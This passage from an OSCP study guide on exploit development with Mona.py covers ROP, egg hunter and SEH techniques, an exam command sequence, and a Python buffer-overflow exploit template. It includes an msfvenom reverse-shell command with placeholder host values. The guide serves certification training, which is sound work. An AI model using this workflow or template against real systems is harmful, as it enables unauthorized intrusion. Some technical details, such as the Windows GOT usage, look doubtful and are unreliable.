| Outside Immunity Debugger | Metasploit tools |
Why Mona is Preferred for OSCP
- All-in-one toolkit - No need to switch between tools
- Integrated with debugger - See results in real-time
- Automated analysis - Bad chars, modules, suggestions
- Output files - Persistent records of all analysis
- Advanced features - ROP, GOT, egg hunter support
9. Advanced Techniques
9.1 GOT Overwrite Exploitation
Concept
The Global Offset Table (GOT) stores addresses of external functions. Overwriting a GOT entry redirects function calls to your chosen address.
Mona Commands for GOT
# Analyze GOT entries
!mona got
# Find writable GOT entries
!mona got -m vulnerable.dll
# Search for specific GOT entry
!mona find -s "GetProcAddress" -m vulnerable.dll
Workflow
1. Identify writable GOT entry
2. Find the function that writes to GOT
3. Craft payload to overwrite GOT entry
4. Trigger the function call to redirect execution
9.2 ROP Chain Construction
When ROP is Needed
- DEP is enabled on all modules
- Cannot disable DEP through other means
- Target has suitable gadgets in loaded modules
Mona ROP Workflow
# Step 1: Check DEP status
!mona dep
# Step 2: Find gadgets
!mona rop --conservative
# Step 3: Build the chain
# Mona generates a chain that:
# a) Sets up VirtualProtect arguments
# b) Calls VirtualProtect to make memory executable
# c) Jumps to your shellcode
# Step 4: Integrate into exploit
exploit = "A" * offset + rop_chain + shellcode
Key ROP Gadgets
POP EBP; RET -> Set first argument
POP EDI; RET -> Set second argument
POP ESI; RET -> Set third argument
POP EBX; RET -> Set fourth argument
POP ECX; RET -> Set fifth argument
MOV EAX, NULL; RET -> Set EAX to NULL
PUSH ESP; RET -> Push ESP onto stack
9.3 Egg Hunter Technique
When to Use Egg Hunter
- Small buffer (too small for full shellcode)
- Need to inject shellcode separately from the overflow
- ESP doesn’t point to shellcode location
How Egg Hunter Works
1. Inject a small egg hunter (12-32 bytes) into the overflow
2. Inject the full shellcode elsewhere in memory with a unique tag
3. Egg hunter scans memory for the tag + shellcode
4. When found, jumps to the shellcode
Example tag: "w00t" (0x74 0x6f 0x30 0x77)
Shellcode: "w00t" + actual_shellcode
Mona Egg Hunter
# Mona can help generate egg hunter code
!mona suggest # May suggest egg hunter if buffer is small
# Manual egg hunter generation:
# Use msfvenom or custom assembly for the egg hunter
9.4 SEH Overwrite Technique
When SEH Overwrite is Needed
- EIP is not directly controllable
- Exception handler can be overwritten
- SafeSEH is disabled
Mona SEH Workflow
# Step 1: Check SafeSEH status
!mona modules # Look for SafeSEH: Disabled
# Step 2: Find POP POP RET
!mona find -s "\x5[0-9a-f]\x5[0-9a-f]\xc3" -m vulnerable.dll
# Step 3: Use \xeb\x06\x90\x90 as SEH overwrite
# \xeb\x06 - SHORT JMP +6 (skips the next 2 bytes)
# \x90\x90 - NOPs (overwritten RET)
10. OSCP Exam Best Practices
Time Management
| Phase | Time Budget | Commands |
|---|---|---|
| Initial crash | 5-10 min | !mona pc, !mona po |
| Module analysis | 5-10 min | !mona modules, !mona suggest |
| Bad char analysis | 10-15 min | !mona bytearray, !mona compare |
| Shellcode generation | 5-10 min | msfvenom |
| Final testing | 10-15 min | Iterative refinement |
Essential Command Sequence for Exam
# 1. Configure once at the start
!mona config -set workingfolder c:\mona\%(p)
# 2. Create pattern and crash
!mona pc -l 2000
# 3. Find offset
!mona po -m <EIP_value>
# 4. Analyze modules
!mona modules
# 5. Find JMP ESP
!mona jmp -r esp -m <best_module>
# 6. Bad character analysis
!mona bytearray -b "\x00"
!mona compare -f bytearray.bin -a <ESP_address>
# 7. Generate shellcode
# msfvenom -p windows/shell_reverse_tcp LHOST=X LPORT=Y -b "\x00\x0a\x0d" -f python
# 8. Final exploit and test
Common Exam Pitfalls
- Forgetting to set working folder - Always run
!mona configfirst - Wrong endianness - Windows uses little-endian; reverse byte order
- Missing bad characters - Always do bad char analysis
- ASLR module selection - Never use addresses from ASLR-enabled modules
- Pattern length too short - Start with 2000, increase if needed
- Not verifying offset - Always confirm with a test payload
Endianness Reminder
Address: 0x6A201234
In exploit (little-endian, reversed):
"\x34\x12\x20\x6a"
Memory layout:
Low address <- High address
34 12 20 6a
Quick Debugging Checklist
[ ] Working folder configured?
[ ] Pattern caused a crash?
[ ] Offset verified?
[ ] JMP ESP address has no bad characters?
[ ] Bad characters identified?
[ ] Shellcode encoded to avoid bad characters?
[ ] Endianness correct (little-endian)?
[ ] NOP sled included?
[ ] Shellcode length < available buffer space?
11. Quick Reference Cheat Sheet
Command Quick Reference
# Configuration
!mona config -set workingfolder c:\mona\%(p)
# Pattern operations
!mona pc -l 2000 # Create pattern
!mona po -m 39674541 # Find offset
!mona findmsp # Auto-find offset
# Module analysis
!mona modules # List all modules
!mona noaslr # Non-ASLR modules
!mona dep # DEP status
# Instruction search
!mona jmp -r esp # Find JMP ESP
!mona jmp -r esp -m module.dll # In specific module
!mona find -s "\xff\xe4" # Raw byte search
# Bad character analysis
!mona bytearray -b "\x00" # Create bytearray
!mona compare -f bytearray.bin -a 0xADDR # Compare
# Advanced
!mona suggest # Get suggestions
!mona rop # Build ROP chain
!mona got # GOT analysis
Exploit Template
#!/usr/bin/python
# OSCP Exploit Template
# Target: [Service Name]
# Offset: [From !mona po]
# JMP ESP: [From !mona jmp -r esp]
# Bad chars: [From !mona compare]
import socket
target = "10.10.10.X"
port = XXXX
# Mona-determined values
offset = 2003
jmp_esp = "\x34\x12\x20\x6a" # Little-endian
# msfvenom shellcode (bad chars excluded)
shellcode = (
b"\xfc\xe8\x..."
)
# Build exploit
nop_sled = "\x90" * 16
exploit = "A" * offset + jmp_esp + nop_sled + shellcode
# Send exploit
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(exploit + "\r\n")
s.close()
print "[+] Exploit sent!"
except Exception as e:
print "[-] Error:", e
Bad Character Quick Reference
Common bad characters and their causes:
\x00 - NULL terminator (almost always bad)
\x0a - Line feed (protocol line ending)
\x0d - Carriage return (protocol line ending)
\x20 - Space (sometimes filtered)
\x22 - Double quote (string parsing)
\x27 - Single quote (SQL/string parsing)
\x3c - Less than (HTML encoding)
\x3e - Greater than (HTML encoding)
\x5c - Backslash (path parsing)
Always verify with !mona compare - never assume!
Summary
Mona.py is an indispensable tool for exploit development on the OSCP exam. Mastering its commands and workflow will significantly reduce the time needed to develop reliable exploits. The key to success is:
- Always configure the working folder first
- Follow the systematic workflow (pattern → offset → modules → JMP → bad chars → shellcode)
- Verify every step before moving to the next
- Use
!mona suggestwhen stuck for intelligent guidance - Practice the full workflow multiple times before the exam
With Mona.py and Immunity Debugger, you have a powerful exploit development environment that handles the complex analysis tasks automatically, letting you focus on crafting the final exploit.
Last Updated: 2026-09-01 Reference: OSCP Module 10 - Fixing Exploits, Topic 4: Mona.py Framework